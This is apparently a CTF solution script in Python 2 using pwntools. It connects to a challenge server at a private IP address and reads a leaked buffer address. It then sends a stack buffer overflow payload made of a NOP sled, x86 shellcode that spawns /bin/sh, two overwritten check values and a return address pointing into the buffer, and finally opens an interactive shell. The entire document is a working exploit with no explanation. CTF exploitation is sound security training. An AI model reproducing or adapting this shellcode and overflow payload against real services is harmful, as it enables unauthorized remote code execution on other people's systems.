#!/usr/bin/python2
"""
Author: Evan Mcbroom
CSAW Team: MSU-CTF
"""
from pwn import *

c = remote('172.16.128.132', 12345)

buffer_address = int(c.recv()[6:], 16)

shellcode =        \
"\x31\xc0\xb0\x30"+\
"\x01\xc4\x30\xc0"+\
"\x50\x68\x2f\x2f"+\
"\x73\x68\x68\x2f"+\
"\x62\x69\x6e\x89"+\
"\xe3\x89\xc1\xb0"+\
"\xb0\xc0\xe8\x04"+\
"\xcd\x80\xc0\xe8"+\
"\x03\xcd\x80"

payload = "\x90"*(128-len(shellcode))
payload += shellcode
payload += p32(0x475a31a5) + p32(0x40501555)
payload += "_"*12
payload += p32(buffer_address)

c.send(payload)

c.interactive()
